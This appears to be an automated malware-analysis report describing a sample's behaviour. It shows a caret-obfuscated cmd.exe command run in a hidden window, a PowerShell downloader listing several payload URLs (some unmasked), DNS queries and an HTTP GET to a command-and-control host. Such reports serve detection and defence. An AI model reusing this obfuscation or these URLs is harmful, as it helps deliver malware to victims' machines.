Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C"^s^e^t nrq=c^h&&^s^et ^S^2C=^b&&s^e^t ^B^S=^e&&^se^t ^A^7v=^1&&s^e^t ^a^Tjo=^erv^ic&&^s^e^t nS^X=^'&&^s^et ^7^2Cu=^I&&s^e^t D^L=r^e&&^s^e^t K^u=^s^a&&^se^t ^U9^K=m^ &&^s^et ^B^I^FE=^ &&^s^e^...
Network activity
Connects to
- 'cc.###.tuut.com.br':80
TCP
HTTP GET requests
- http://cc.###.tuut.com.br/wLx5yNdV
UDP
- DNS ASK bl###arhost.com
- DNS ASK ka####-service.ru
- DNS ASK dm###am.info
- DNS ASK ap####rina.com.br
- DNS ASK cc.###.tuut.com.br
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C"^s^e^t nrq=c^h&&^s^et ^S^2C=^b&&s^e^t ^B^S=^e&&^se^t ^A^7v=^1&&s^e^t ^a^Tjo=^erv^ic&&^s^e^t nS^X=^'&&^s^et ^7^2Cu=^I&&s^e^t D^L=r^e&&^s^e^t K^u=^s^a&&^se^t ^U9^K=m^ &&^s^et ^B^I^FE=^ &&^s^e^...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $zzS='oSw';$FJZ='http://bl###arhost.com/1s3lpJBiid@http://kaminy-service.ru/2iL6pZOH@http://www.dmdream.info/Dlv5eHU@http://aperegrina.com.br/j7EVTRv48k@http://cc.dev.tuut.com.br/wLx5yNdV'.Spli...
